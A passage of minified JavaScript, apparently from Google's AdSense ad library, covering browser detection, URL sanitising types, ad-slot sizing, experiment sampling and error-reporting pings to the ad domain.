c=q(a)?a.split(""):a,d=a.length-1;0<=d;d--)if(d in c&&b.call(void 0,c[d],d,a)){b=d;break a}b=-1}return 0>b?null:q(a)?a.charAt(b):a[b]}function Oa(a,b){a:if(q(a))a=q(b)&&1==b.length?a.indexOf(b,0):-1;else{for(var c=0;c<a.length;c++)if(c in a&&a[c]===b){a=c;break a}a=-1}return 0<=a};function Pa(){return function(){return!xa.apply(this,arguments)}}function Qa(a){var b=!1,c;return function(){b||(c=a(),b=!0);return c}}function Ra(a){var b=a;return function(){if(b){var c=b;b=null;c()}}};function Sa(a,b){for(var c in a)if(b.call(void 0,a[c],c,a))return!0;return!1}function Ta(a){var b=[],c=0,d;for(d in a)b[c++]=a[d];return b}function Ua(a,b){return null!==a&&b in a};function Va(){this.a="";this.h=Wa}Va.prototype.f=!0;Va.prototype.b=function(){return this.a.toString()};function Xa(a){if(a instanceof Va&&a.constructor===Va&&a.h===Wa)return a.a;wa(a);return"type_error:TrustedResourceUrl"}var Wa={};function Ya(a){return/^[\s\xa0]*([\s\S]*?)[\s\xa0]*$/.exec(a)[1]}var Za=/&/g,$a=/</g,ab=/>/g,bb=/"/g,cb=/'/g,db=/\x00/g;function eb(a,b){return-1!=a.indexOf(b)}function fb(a,b){var c=0;a=Ya(String(a)).split(".");b=Ya(String(b)).split(".");for(var d=Math.max(a.length,b.length),e=0;0==c&&e<d;e++){var f=a[e]||"",g=b[e]||"";do{f=/(\d*)(\D*)(.*)/.exec(f)||["","","",""];g=/(\d*)(\D*)(.*)/.exec(g)||["","","",""];if(0==f[0].length&&0==g[0].length)break;c=gb(0==f[1].length?0:parseInt(f[1],10),0==g[1].length?0:parseInt(g[1],10))||gb(0==f[2].length,0==g[2].length)||gb(f[2],g[2]);f=f[3];g=g[3]}while(0==c)}return c}function gb(a,b){return a<b?-1:a>b?1:0};function hb(){this.a="";this.h=ib}hb.prototype.f=!0;hb.prototype.b=function(){return this.a.toString()};function jb(a){if(a instanceof hb&&a.constructor===hb&&a.h===ib)return a.a;wa(a);return"type_error:SafeUrl"}var kb=/^(?:(?:https?|mailto|ftp):|[^:/?#]*(?:[/?#]|$))/i,ib={};function lb(a){var b=new hb;b.a=a;return b}lb("about:blank");var mb;a:{var nb=p.navigator;if(nb){var ob=nb.userAgent;if(ob){mb=ob;break a}}mb=""}function t(a){return eb(mb,a)}function pb(a){for(var b=/(\w[\w ]+)\/([^\s]+)\s*(?:\((.*?)\))?/g,c=[],d;d=b.exec(a);)c.push([d[1],d[2],d[3]||void 0]);return c};function qb(){return(t("Chrome")||t("CriOS"))&&!t("Edge")}function rb(){function a(e){e=Ma(e,d);return c[e]||""}var b=mb;if(t("Trident")||t("MSIE"))return tb(b);b=pb(b);var c={};Ia(b,function(e){c[e[0]]=e[1]});var d=Ga(Ua,c);return t("Opera")?a(["Version","Opera"]):t("Edge")?a(["Edge"]):t("Edg/")?a(["Edg"]):qb()?a(["Chrome","CriOS"]):(b=b[2])&&b[1]||""}function ub(a){return 0<=fb(rb(),a)}function tb(a){var b=/rv: *([\d\.]*)/.exec(a);if(b&&b[1])return b[1];b="";var c=/MSIE +([\d\.]+)/.exec(a);if(c&&c[1])if(a=/Trident\/(\d.\d)/.exec(a),"7.0"==c[1])if(a&&a[1])switch(a[1]){case "4.0":b="8.0";break;case "5.0":b="9.0";break;case "6.0":b="10.0";break;case "7.0":b="11.0"}else b="7.0";else b=c[1];return b};function vb(a,b){a.src=Xa(b);(b=qa())&&a.setAttribute("nonce",b)};var wb={"\x00":"\\0","\b":"\\b","\f":"\\f","\n":"\\n","\r":"\\r","\t":"\\t","\x0B":"\\x0B",'"':'\\"',"\\":"\\\\","<":"\\u003C"},xb={"'":"\\'"};function yb(a){return String(a).replace(/\-([a-z])/g,function(b,c){return c.toUpperCase()})};function zb(a){zb[" "](a);return a}zb[" "]=ua;function v(){}var Ab="function"==typeof Uint8Array;function x(a,b,c,d){a.a=null;b||(b=[]);a.w=void 0;a.h=-1;a.b=b;a:{if(b=a.b.length){--b;var e=a.b[b];if(!(null===e||"object"!=typeof e||ya(e)||Ab&&e instanceof Uint8Array)){a.i=b-a.h;a.f=e;break a}}a.i=Number.MAX_VALUE}a.s={};if(c)for(b=0;b<c.length;b++)e=c[b],e<a.i?(e+=a.h,a.b[e]=a.b[e]||Bb):(Cb(a),a.f[e]=a.f[e]||Bb);if(d&&d.length)for(b=0;b<d.length;b++)Db(a,d[b])}var Bb=[];function Cb(a){var b=a.i+a.h;a.b[b]||(a.f=a.b[b]={})}function y(a,b){if(b<a.i){b+=a.h;var c=a.b[b];return c===Bb?a.b[b]=[]:c}if(a.f)return c=a.f[b],c===Bb?a.f[b]=[]:c}function Eb(a,b){a=y(a,b);return null==a?a:+a}function Fb(a,b){a=y(a,b);return null==a?a:!!a}function A(a,b,c){a=y(a,b);return null==a?c:a}function Gb(a,b){a=Fb(a,b);return null==a?!1:a}function Hb(a,b){a=Eb(a,b);return null==a?0:a}function Ib(a,b,c){b<a.i?a.b[b+a.h]=c:(Cb(a),a.f[b]=c);return a}function Db(a,b){for(var c,d,e=0;e<b.length;e++){var f=b[e],g=y(a,f);null!=g&&(c=f,d=g,Ib(a,f,void 0))}return c?(Ib(a,c,d),c):0}function B(a,b,c){a.a||(a.a={});if(!a.a[c]){var d=y(a,c);d&&(a.a[c]=new b(d))}return a.a[c]}function C(a,b,c){a.a||(a.a={});if(!a.a[c]){for(var d=y(a,c),e=[],f=0;f<d.length;f++)e[f]=new b(d[f]);a.a[c]=e}b=a.a[c];b==Bb&&(b=a.a[c]=[]);return b}function Jb(a){if(a.a)for(var b in a.a){var c=a.a[b];if(ya(c))for(var d=0;d<c.length;d++)c[d]&&Jb(c[d]);else c&&Jb(c)}return a.b};function Kb(a){x(this,a,Lb,null)}r(Kb,v);function Mb(a){x(this,a,null,null)}r(Mb,v);var Lb=[2,3];function Nb(a){x(this,a,null,null)}r(Nb,v);var Ob=document,D=window;var Pb={"120x90":!0,"160x90":!0,"180x90":!0,"200x90":!0,"468x15":!0,"728x15":!0};function Qb(a,b){if(15==b){if(728<=a)return 728;if(468<=a)return 468}else if(90==b){if(200<=a)return 200;if(180<=a)return 180;if(160<=a)return 160;if(120<=a)return 120}return null};function Rb(a,b){return a.createElement(String(b))}function Sb(a){this.a=a||p.document||document}Sb.prototype.contains=function(a,b){if(!a||!b)return!1;if(a.contains&&1==b.nodeType)return a==b||a.contains(b);if("undefined"!=typeof a.compareDocumentPosition)return a==b||!!(a.compareDocumentPosition(b)&16);for(;b&&a!=b;)b=b.parentNode;return b==a};function Tb(a){Ub();var b=new Va;b.a=a;return b}var Ub=ua;function Vb(){return!(t("iPad")||t("Android")&&!t("Mobile")||t("Silk"))&&(t("iPod")||t("iPhone")||t("Android")||t("IEMobile"))};function Wb(a){try{var b;if(b=!!a&&null!=a.location.href)a:{try{zb(a.foo);b=!0;break a}catch(c){}b=!1}return b}catch(c){return!1}}function Xb(a){for(var b=p,c=0;b&&40>c++&&(!Wb(b)||!a(b));)a:{try{var d=b.parent;if(d&&d!=b){b=d;break a}}catch(e){}b=null}}function Yb(){var a=p;Xb(function(b){a=b;return!1});return a}function Zb(a,b){var c=a.createElement("script");vb(c,Tb(b));return(a=a.getElementsByTagName("script")[0])&&a.parentNode?(a.parentNode.insertBefore(c,a),c):null}function $b(a,b){return b.getComputedStyle?b.getComputedStyle(a,null):a.currentStyle}function ac(a,b,c){var d=!1;void 0===c||c||(d=bc());return!d&&!cc()&&(c=Math.random(),c<b)?(c=dc(p),a[Math.floor(c*a.length)]):null}function dc(a){if(!a.crypto)return Math.random();try{var b=new Uint32Array(1);a.crypto.getRandomValues(b);return b[0]/65536/65536}catch(c){return Math.random()}}function ec(a,b){if(a)for(var c in a)Object.prototype.hasOwnProperty.call(a,c)&&b.call(void 0,a[c],c,a)}function fc(a){var b=a.length;if(0==b)return 0;for(var c=305419896,d=0;d<b;d++)c^=(c<<5)+(c>>2)+a.charCodeAt(d)&4294967295;return 0<c?c:4294967296+c}var cc=Qa(function(){return eb(mb,"Google Web Preview")||1E-4>Math.random()}),bc=Qa(function(){return eb(mb,"MSIE")}),gc=/^([0-9.]+)px$/,hc=/^(-?[0-9.]{1,30})$/;function ic(a){return hc.test(a)&&(a=Number(a),!isNaN(a))?a:null}function jc(a,b){return b?!/^false$/.test(a):/^true$/.test(a)}function F(a){return(a=gc.exec(a))?+a[1]:null}function kc(a){var b={display:"none"};a.style.setProperty?ec(b,function(c,d){a.style.setProperty(d,c,"important")}):a.style.cssText=lc(mc(nc(a.style.cssText),oc(b,function(c){return c+" !important"})))}var mc=Object.assign||function(a,b){for(var c=1;c<arguments.length;c++){var d=arguments[c];if(d)for(var e in d)Object.prototype.hasOwnProperty.call(d,e)&&(a[e]=d[e])}return a};function oc(a,b){var c={},d;for(d in a)Object.prototype.hasOwnProperty.call(a,d)&&(c[d]=b.call(void 0,a[d],d,a));return c}function lc(a){var b=[];ec(a,function(c,d){null!=c&&""!==c&&b.push(d+":"+c)});return b.length?b.join(";")+";":""}function nc(a){var b={};if(a){var c=/\s*:\s*/;Ia((a||"").split(/\s*;\s*/),function(d){if(d){var e=d.split(c);d=e[0];e=e[1];d&&e&&(b[d.toLowerCase()]=e)}})}return b}var pc=Qa(function(){var a=/Edge\/([^. ]+)/.exec(navigator.userAgent);return a?18<=parseInt(a[1],10):(a=/Chrome\/([^. ]+)/.exec(navigator.userAgent))?71<=parseInt(a[1],10):(a=/AppleWebKit\/([^. ]+)/.exec(navigator.userAgent))?13<=parseInt(a[1],10):(a=/Firefox\/([^. ]+)/.exec(navigator.userAgent))?64<=parseInt(a[1],10):!1}),qc=Qa(function(){return qb()&&ub(72)||t("Edge")&&ub(18)||(t("Firefox")||t("FxiOS"))&&ub(65)||t("Safari")&&!(qb()||t("Coast")||t("Opera")||t("Edge")||t("Edg/")||t("OPR")||t("Firefox")||t("FxiOS")||t("Silk")||t("Android"))&&ub(12)});function rc(a,b,c){a.addEventListener&&a.addEventListener(b,c,!1)};function sc(a,b){p.google_image_requests||(p.google_image_requests=[]);var c=p.document.createElement("img");if(b){var d=function(e){b&&b(e);c.removeEventListener&&c.removeEventListener("load",d,!1);c.removeEventListener&&c.removeEventListener("error",d,!1)};rc(c,"load",d);rc(c,"error",d)}c.src=a;p.google_image_requests.push(c)};function tc(a,b){a=parseInt(a,10);return isNaN(a)?b:a}var uc=/^([\w-]+\.)*([\w-]{2,})(:[0-9]+)?$/;function vc(a,b){return a?(a=a.match(uc))?a[0]:b:b};function wc(){return"r20190814"}var xc=jc("false",!1),yc=jc("false",!1),zc=jc("true",!1)||!yc;function Ac(){return vc("","pagead2.googlesyndication.com")};function Bc(a){a=void 0===a?p:a;var b=a.context||a.AMP_CONTEXT_DATA;if(!b)try{b=a.parent.context||a.parent.AMP_CONTEXT_DATA}catch(c){}try{if(b&&b.pageViewId&&b.canonicalUrl)return b}catch(c){}return null}function Cc(a){return(a=a||Bc())?Wb(a.master)?a.master:null:null};function Dc(a,b){for(var c in a)Object.prototype.hasOwnProperty.call(a,c)&&b.call(void 0,a[c],c,a)}function Ec(a){return!(!a||!a.call)&&"function"===typeof a}function Fc(a){a=Cc(Bc(a))||a;a.google_unique_id?++a.google_unique_id:a.google_unique_id=1}function Gc(a){a=Cc(Bc(a))||a;a=a.google_unique_id;return"number"===typeof a?a:0}var Hc=!!window.google_async_iframe_id,Ic=Hc&&window.parent||window;function Jc(){if(Hc&&!Wb(Ic)){var a="."+Ob.domain;try{for(;2<a.split(".").length&&!Wb(Ic);)Ob.domain=a=a.substr(a.indexOf(".")+1),Ic=window.parent}catch(b){}Wb(Ic)||(Ic=window)}return Ic}var Kc=/(^| )adsbygoogle($| )/;function Lc(a){return xc&&a.google_top_window||a.top}function Mc(a){a=Lc(a);return Wb(a)?a:null};function I(a){a.google_ad_modifications||(a.google_ad_modifications={});return a.google_ad_modifications}function J(a,b){a:if(a=I(a).eids||[],a.indexOf)b=a.indexOf(b),b=0<b||0===b;else{for(var c=0;c<a.length;c++)if(a[c]===b){b=!0;break a}b=!1}return b}function Nc(a,b){a=I(a);a.tag_partners=a.tag_partners||[];a.tag_partners.push(b)}function Oc(a){I(D).allow_second_reactive_tag=a}function Pc(a,b,c){for(var d=0;d<a.length;++d)if((a[d].ad_slot||b)==b&&(a[d].ad_tag_origin||c)==c)return a[d];return null};var Qc={},Rc=(Qc.google_ad_client=!0,Qc.google_ad_host=!0,Qc.google_ad_host_channel=!0,Qc.google_adtest=!0,Qc.google_tag_for_child_directed_treatment=!0,Qc.google_tag_for_under_age_of_consent=!0,Qc.google_tag_partner=!0,Qc);function Sc(a){x(this,a,Tc,null)}r(Sc,v);var Tc=[4];Sc.prototype.X=function(){return y(this,3)};function Uc(a){x(this,a,null,null)}r(Uc,v);function Vc(a){x(this,a,null,Wc)}r(Vc,v);function Xc(a){x(this,a,null,null)}r(Xc,v);function Yc(a){x(this,a,null,null)}r(Yc,v);function Zc(a){x(this,a,null,null)}r(Zc,v);var Wc=[[1,2,3]];function $c(a){x(this,a,null,null)}r($c,v);function ad(a){x(this,a,null,null)}r(ad,v);function bd(a){x(this,a,cd,null)}r(bd,v);var cd=[6,7,9,10,11];function dd(a){x(this,a,ed,null)}r(dd,v);function fd(a){x(this,a,null,null)}r(fd,v);function gd(a){x(this,a,hd,null)}r(gd,v);function id(a){x(this,a,null,null)}r(id,v);function jd(a){x(this,a,null,null)}r(jd,v);function kd(a){x(this,a,null,null)}r(kd,v);function ld(a){x(this,a,null,null)}r(ld,v);var ed=[1,2,5,7],hd=[2,5,6];var md={overlays:1,interstitials:2,vignettes:2,inserts:3,immersives:4,list_view:5,full_page:6};function nd(a,b){a=a.replace(/(^\/)|(\/$)/g,"");var c=fc(a),d=od(a);return b.find(function(e){var f=null!=y(e,7)?y(B(e,id,7),1):y(e,1);e=null!=y(e,7)?y(B(e,id,7),2):2;if(!pa(f))return!1;switch(e){case 1:return f==c;case 2:return d[f]||!1}return!1})||null}function od(a){for(var b={};;){b[fc(a)]=!0;if(!a)return b;a=a.substring(0,a.lastIndexOf("/"))}};function pd(a,b){var c=void 0===c?{}:c;this.error=a;this.context=b.context;this.msg=b.message||"";this.id=b.id||"jserror";this.meta=c};var qd=/^https?:\/\/(\w|-)+\.cdn\.ampproject\.(net|org)(\?|\/|$)/;function rd(a,b){this.a=a;this.b=b}function sd(a,b,c){this.url=a;this.a=b;this.qa=!!c;this.depth=pa(void 0)?void 0:null};function td(){this.f="&";this.h=!1;this.b={};this.i=0;this.a=[]}function ud(a,b){var c={};c[a]=b;return[c]}function vd(a,b,c,d,e){var f=[];ec(a,function(g,h){(g=wd(g,b,c,d,e))&&f.push(h+"="+g)});return f.join(b)}function wd(a,b,c,d,e){if(null==a)return"";b=b||"&";c=c||",$";"string"==typeof c&&(c=c.split(""));if(a instanceof Array){if(d=d||0,d<c.length){for(var f=[],g=0;g<a.length;g++)f.push(wd(a[g],b,c,d+1,e));return f.join(c[d])}}else if("object"==typeof a)return e=e||0,2>e?encodeURIComponent(vd(a,b,c,d,e+1)):"...";return encodeURIComponent(String(a))}function xd(a,b,c,d){a.a.push(b);a.b[b]=ud(c,d)}function yd(a,b,c){b=b+"//pagead2.googlesyndication.com"+c;var d=zd(a)-c.length;if(0>d)return"";a.a.sort(function(n,u){return n-u});c=null;for(var e="",f=0;f<a.a.length;f++)for(var g=a.a[f],h=a.b[g],k=0;k<h.length;k++){if(!d){c=null==c?g:c;break}var m=vd(h[k],a.f,",$");if(m){m=e+m;if(d>=m.length){d-=m.length;b+=m;e=a.f;break}else a.h&&(e=d,m[e-1]==a.f&&--e,b+=m.substr(0,e),e=a.f,d=0);c=null==c?g:c}}a="";null!=c&&(a=e+"trn="+c);return b+a}function zd(a){var b=1,c;for(c in a.b)b=c.length>b?c.length:b;return 3997-b-a.f.length-1};function Ad(){var a=void 0===a?D:a;this.a="http:"===a.location.protocol?"http:":"https:";this.b=Math.random()}function Bd(a,b,c,d,e,f){if((d?a.b:Math.random())<(e||.01))try{if(c instanceof td)var g=c;else g=new td,ec(c,function(k,m){var n=g,u=n.i++;k=ud(m,k);n.a.push(u);n.b[u]=k});var h=yd(g,a.a,"/pagead/gen_204?id="+b+"&");h&&("undefined"===typeof f?sc(h,null):sc(h,void 0===f?null:f))}catch(k){}};function Cd(a,b){this.start=a<b?a:b;this.a=a<b?b:a};function K(a,b,c){this.b=b>=a?new Cd(a,b):null;this.a=c}function Dd(a,b){var c=-1;b="google_experiment_mod"+(void 0===b?"":b);try{a.localStorage&&(c=parseInt(a.localStorage.getItem(b),10))}catch(d){return null}if(0<=c&&1E3>c)return c;if(cc())return null;c=Math.floor(1E3*dc(a));try{if(a.localStorage)return a.localStorage.setItem(b,""+c),c}catch(d){}return null};var Ed=null;function Fd(){if(null===Ed){Ed="";try{var a="";try{a=p.top.location.hash}catch(c){a=p.location.hash}if(a){var b=a.match(/\bdeid=([\d,]+)/);Ed=b?b[1]:""}}catch(c){}}return Ed};function Gd(){var a=p.performance;return a&&a.now&&a.timing?Math.floor(a.now()+a.timing.navigationStart):+new Date}function Hd(){var a=void 0===a?p:a;return(a=a.performance)&&a.now?a.now():null};function Id(a,b,c){this.label=a;this.type=b;this.value=c;this.duration=0;this.uniqueId=Math.random();this.slotId=void 0};var Jd=p.performance,Kd=!!(Jd&&Jd.mark&&Jd.measure&&Jd.clearMarks),Ld=Qa(function(){var a;if(a=Kd)a=Fd(),a=!!a.indexOf&&0<=a.indexOf("1337");return a});function Md(){var a=Nd;this.b=[];this.f=a||p;var b=null;a&&(a.google_js_reporting_queue=a.google_js_reporting_queue||[],this.b=a.google_js_reporting_queue,b=a.google_measure_js_timing);this.a=Ld()||(null!=b?b:1>Math.random())}function Od(a){a&&Jd&&Ld()&&(Jd.clearMarks("goog_"+a.label+"_"+a.uniqueId+"_start"),Jd.clearMarks("goog_"+a.label+"_"+a.uniqueId+"_end"))}Md.prototype.start=function(a,b){if(!this.a)return null;var c=Hd()||Gd();a=new Id(a,b,c);b="goog_"+a.label+"_"+a.uniqueId+"_start";Jd&&Ld()&&Jd.mark(b);return a};function Pd(){var a=Qd;this.w=Rd;this.h=!0;this.a=null;this.s=this.b;this.f=void 0===a?null:a;this.i=!1}function Sd(a,b,c,d){try{if(a.f&&a.f.a){var e=a.f.start(b.toString(),3);var f=c();var g=a.f;c=e;if(g.a&&pa(c.value)){var h=Hd()||Gd();c.duration=h-c.value;var k="goog_"+c.label+"_"+c.uniqueId+"_end";Jd&&Ld()&&Jd.mark(k);!g.a||2048<g.b.length||g.b.push(c)}}else f=c()}catch(m){g=a.h;try{Od(e),g=a.s(b,new pd(m,{message:Td(m)}),void 0,d)}catch(n){a.b(217,n)}if(!g)throw m;}return f}function Ud(a,b,c,d,e){return function(f){for(var g=[],h=0;h<arguments.length;++h)g[h]=arguments[h];return Sd(a,b,function(){return c.apply(d,g)},e)}}Pd.prototype.b=function(a,b,c,d,e){e=e||"jserror";try{var f=new td;f.h=!0;xd(f,1,"context",a);b.error&&b.meta&&b.id||(b=new pd(b,{message:Td(b)}));b.msg&&xd(f,2,"msg",b.msg.substring(0,512));var g=b.meta||{};if(this.a)try{this.a(g)}catch(G){}if(d)try{d(g)}catch(G){}b=[g];f.a.push(3);f.b[3]=b;d=p;b=[];g=null;do{var h=d;if(Wb(h)){var k=h.location.href;g=h.document&&h.document.referrer||null}else k=g,g=null;b.push(new sd(k||"",h));try{d=h.parent}catch(G){d=null}}while(d&&h!=d);k=0;for(var m=b.length-1;k<=m;++k)b[k].depth=m-k;h=p;if(h.location&&h.location.ancestorOrigins&&h.location.ancestorOrigins.length==b.length-1)for(m=1;m<b.length;++m){var n=b[m];n.url||(n.url=h.location.ancestorOrigins[m-1]||"",n.qa=!0)}var u=new sd(p.location.href,p,!1);h=null;var w=b.length-1;for(n=w;0<=n;--n){var z=b[n];!h&&qd.test(z.url)&&(h=z);if(z.url&&!z.qa){u=z;break}}z=null;var H=b.length&&b[w].url;0!=u.depth&&H&&(z=b[w]);var E=new rd(u,z);E.b&&xd(f,4,"top",E.b.url||"");xd(f,5,"url",E.a.url||"");Bd(this.w,e,f,this.i,c)}catch(G){try{Bd(this.w,e,{context:"ecmserr",rctx:a,msg:Td(G),url:E&&E.a.url},this.i,c)}catch(sb){}}return this.h};function Td(a){var b=a.toString();a.name&&-1==b.indexOf(a.name)&&(b+=": "+a.name);a.message&&-1==b.indexOf(a.message)&&(b+=": "+a.message);if(a.stack){a=a.stack;try{-1==a.indexOf(b)&&(a=b+"\n"+a);for(var c;a!=c;)c=a,a=a.replace(/((https?:\/..*\/)[^\/:]*:\d+(?:.|\n)*)\2/,"$1");b=a.replace(/\n */g,"\n")}catch(d){}}return b};function L(a){a=void 0===a?"":a;var b=Error.call(this);this.message=b.message;"stack"in b&&(this.stack=b.stack);this.name="TagError";this.message=a?"adsbygoogle.push() error: "+a:"";Error.captureStackTrace?Error.captureStackTrace(this,L):this.stack=Error().stack||""}ka(L,Error);var Rd,Vd,Wd,Nd=Jc(),Qd=new Md;function Xd(a){null!=a&&(Nd.google_measure_js_timing=a);Nd.google_measure_js_timing||(a=Qd,a.a=!1,a.b!=a.f.google_js_reporting_queue&&(Ld()&&Ia(a.b,Od),a.b.length=0))}function Yd(a){var b=D.jerExpIds;if(ya(b)&&0!==b.length){var c=a.eid;if(c){b=ca(c.split(",")).concat(ca(b));c={};for(var d=0,e=0;e<b.length;){var f=b[e++];var g=f;g=za(g)?"o"+Aa(g):(typeof g).charAt(0)+g;Object.prototype.hasOwnProperty.call(c,g)||(c[g]=!0,b[d++]=f)}b.length=d;a.eid=b.join(",")}else a.eid=b.join(",")}}(function(){Rd=new Ad;Vd=new Pd;Vd.a=function(b){Yd(b);Wd&&(b.jc=Wd)};"complete"==Nd.document.readyState?Xd():Qd.a&&rc(Nd,"load",function(){Xd()});var a=Ob.currentScript;Wd=a?a.dataset.jc:""})();function Zd(){var a=[$d,ae];Vd.a=function(b){Ia(a,function(c){c(b)});Yd(b);Wd&&(b.jc=Wd)}}function be(a,b,c){return Sd(Vd,a,b,c)}function ce(a,b){return Ud(Vd,a,b,void 0,void 0)}function de(a,b,c){Bd(Rd,a,b,"jserror"!=a,c,void 0)}function ee(a,b,c,d){return 0==(b.error&&b.meta&&b.id?b.msg||Td(b.error):Td(b)).indexOf("TagError")?(Vd.i=!0,c=b instanceof pd?b.error:b,c.pbr||(c.pbr=!0,Vd.b(a,b,.1,d,"puberror")),!1):Vd.b(a,b,c,d)}function fe(a){de("rmvasft",{code:"ldr",branch:a?"exp":"cntr"})};function ge(a,b){this.oa=a;this.ua=b}function he(a){var b=[].slice.call(arguments).filter(Pa());if(!b.length)return null;var c=[],d={};b.forEach(function(e){c=c.concat(e.oa||[]);d=Object.assign(d,e.ua)});return new ge(c,d)}function ie(a){switch(a){case 1:return new ge(null,{google_ad_semantic_area:"mc"});case 2:return new ge(null,{google_ad_semantic_area:"h"});case 3:return new ge(null,{google_ad_semantic_area:"f"});case 4:return new ge(null,{google_ad_semantic_area:"s"});default:return null}};var je=new ge(["google-auto-placed"],{google_tag_origin:"qs"});var ke={},le=(ke.google_ad_channel=!0,ke.google_ad_host=!0,ke);function me(a,b){a.location.href&&a.location.href.substring&&(b.url=a.location.href.substring(0,200));de("ama",b,.01)}function ne(a){var b={};ec(le,function(c,d){d in a&&(b[d]=a[d])});return b};var oe=tc("2012",2012);function pe(a){x(this,a,qe,re)}r(pe,v);var qe=[2,8],re=[[3,4,5],[6,7]];function se(a){return null!=a?!a:a}function te(a,b){for(var c=!1,d=0;d<a.length;d++){var e=a[d].call();if(e==b)return e;null==e&&(c=!0)}if(!c)return!b}function ue(a,b){var c=C(a,pe,2);if(!c.length)return ve(a,b);a=A(a,1,0);if(1==a)return se(ue(c[0],b));c=Ka(c,function(d){return function(){return ue(d,b)}});switch(a){case 2:return te(c,!1);case 3:return te(c,!0)}}function ve(a,b){var c=Db(a,re[0]);a:{switch(c){case 3:var d=A(a,3,0);break a;case 4:d=A(a,4,0);break a;case 5:d=A(a,5,0);break a}d=void 0}if(d&&(b=(b=b[c])&&b[d])){try{var e=b.apply(null,y(a,8))}catch(f){return}b=A(a,1,0);if(4==b)return!!e;d=null!=e;if(5==b)return d;if(12==b)a=A(a,7,"");else a:{switch(c){case 4:a=Hb(a,6);break a;case 5:a=A(a,7,"");break a}a=void 0}if(null!=a){if(6==b)return e===a;if(9==b)return 0==fb(e,a);if(d)switch(b){case 7:return e<a;case 8:return e>a;case 12:return(new RegExp(a)).test(e);case 10:return-1==fb(e,a);case 11:return 1==fb(e,a)}}}}function we(a,b){return!a||!(!b||!ue(a,b))};function xe(a){x(this,a,ye,null)}r(xe,v);var ye=[4];function ze(a){x(this,a,Ae,Be)}r(ze,v);function Ce(a){x(this,a,null,null)}r(Ce,v);var Ae=[5],Be=[[1,2,3,6]];function De(){var a={};this.a=(a[3]={},a[4]={},a[5]={},a)}va(De);function Ee(a,b){switch(b){case 1:return A(a,1,0);case 2:return A(a,2,0);case 3:return A(a,3,0);case 6:return A(a,6,0);default:return null}}function Fe(a,b){if(!a)return null;switch(b){case 1:return Gb(a,1);case 2:return Hb(a,2);case 3:return A(a,3,"");case 6:return y(a,4);default:return null}}function Ge(a,b,c){b=He.j().a[a][b];if(!b)return c;b=new ze(b);b=Ie(b);a=Fe(b,a);return null!=a?a:c}function Ie(a){var b=De.j().a;if(b){var c=Na(C(a,Ce,5),function(d){return we(B(d,pe,1),b)});if(c)return B(c,xe,2)}return B(a,xe,4)}function He(){var a={};this.a=(a[1]={},a[2]={},a[3]={},a[6]={},a)}va(He);function Je(a,b){return!!Ge(1,a,void 0===b?!1:b)}function Ke(a,b){b=void 0===b?0:b;a=Number(Ge(2,a,b));return isNaN(a)?b:a}function Le(a,b){return Ge(3,a,void 0===b?"":b)}function Me(a,b){b=void 0===b?[]:b;return Ge(6,a,b)}function Ne(a){var b=He.j().a;Ia(a,function(c){var d=Db(c,Be[0]),e=Ee(c,d);e&&(b[d][e]=Jb(c))})}function Oe(a){var b=He.j().a;Ia(a,function(c){var d=new ze(c),e=Db(d,Be[0]);(d=Ee(d,e))&&(b[e][d]||(b[e][d]=c))})};function M(a){this.a=a}var Pe=new M(1),Qe=new M(2),Re=new M(3),Se=new M(4),Te=new M(5),Ue=new M(6),Ve=new M(7),We=new M(8),Xe=new M(9),Ye=new M(10),Ze=new M(11),$e=new M(12),af=new M(13),bf=new M(14);function N(a,b,c){c.hasOwnProperty(a.a)||Object.defineProperty(c,String(a.a),{value:b})}function cf(a,b,c){return b[a.a]||c||function(){}}function df(a){N(Te,Je,a);N(Ue,Ke,a);N(Ve,Le,a);N(We,Me,a);N(af,Oe,a)}function ef(a){N(Se,function(b){De.j().a=b},a);N(Xe,function(b,c){var d=De.j();d.a[3][b]||(d.a[3][b]=c)},a);N(Ye,function(b,c){var d=De.j();d.a[4][b]||(d.a[4][b]=c)},a);N(Ze,function(b,c){var d=De.j();d.a[5][b]||(d.a[5][b]=c)},a);N(bf,function(b){for(var c=De.j(),d=ba([3,4,5]),e=d.next();!e.done;e=d.next()){var f=e.value;e=void 0;var g=c.a[f];f=b[f];for(e in f)g[e]=f[e]}},a)}function ff(a){a.hasOwnProperty("init-done")||Object.defineProperty(a,"init-done",{value:!0})};function gf(){this.a=function(){return!1}}va(gf);function hf(a,b,c){c||(c=zc?"https":"http");p.location&&"https:"==p.location.protocol&&"http"==c&&(c="https");return[c,"://",a,b].join("")}function jf(a,b,c){a=hf(a,b,c);var d=void 0===d?!1:d;if(gf.j().a(182,d)){var e;2012<oe?e=a.replace(new RegExp(".js".replace(/([-()\[\]{}+?*.$\^|,:#<!\\])/g,"\\$1").replace(/\x08/g,"\\x08"),"g"),("_fy"+oe+".js").replace(/\$/g,"$$$$")):e=a;d=e}else d=a;return d};var kf=null;function lf(){if(!xc)return!1;if(null!=kf)return kf;kf=!1;try{var a=Mc(p);a&&-1!=a.location.hash.indexOf("google_logging")&&(kf=!0);p.localStorage.getItem("google_logging")&&(kf=!0)}catch(b){}return kf}function mf(a,b){b=void 0===b?[]:b;var c=!1;p.google_logging_queue||(c=!0,p.google_logging_queue=[]);p.google_logging_queue.push([a,b]);c&&lf()&&(a=jf(Ac(),"/pagead/js/logging_library.js"),Zb(p.document,a))};function nf(a,b,c){this.a=a;this.b=b;this.f=c};function of(a){x(this,a,null,null)}r(of,v);function pf(a){x(this,a,null,null)}r(pf,v);function qf(a){x(this,a,rf,null)}r(qf,v);var rf=[5];function sf(a){try{var b=a.localStorage.getItem("google_ama_settings");return b?new qf(b?JSON.parse(b):null):null}catch(c){return null}};function tf(){};var uf={rectangle:1,horizontal:2,vertical:4};var vf={9:"400",10:"100",13:"0.001",22:"0.01",24:"0.05",28:"0.001",29:"0.01",34:"0.001",60:"0.03",66:"0.1",78:"0.1",79:"1200",82:"3",96:"700",97:"20",98:"0.01",99:"600",100:"100",103:"0.01",111:"0.1",118:"false",120:"0",121:"1000",126:"0.001",128:"false",129:"0.02",135:"0.01",136:"0.02",137:"0.01",142:"1",149:"0",150:"1000",152:"700",153:"20",155:"1",157:"1",158:"100",160:"250",161:"150",162:"0.1",165:"0.02",173:"800",174:"2",176:"0",177:"0.02",179:"100",180:"20",182:"0.1",185:"0.4",189:"400",190:"100",191:"0.04",192:"0",193:"500",194:"90",195:"0",196:"100",197:"false",199:"0",200:"2",201:"true"};var wf=null;function xf(){this.a=vf}function O(a,b){a=parseFloat(a.a[b]);return isNaN(a)?0:a}function yf(a){var b=zf();return jc(b.a[a],!1)}function zf(){wf||(wf=new xf);return wf};var Af=null;function Bf(){if(!Af){for(var 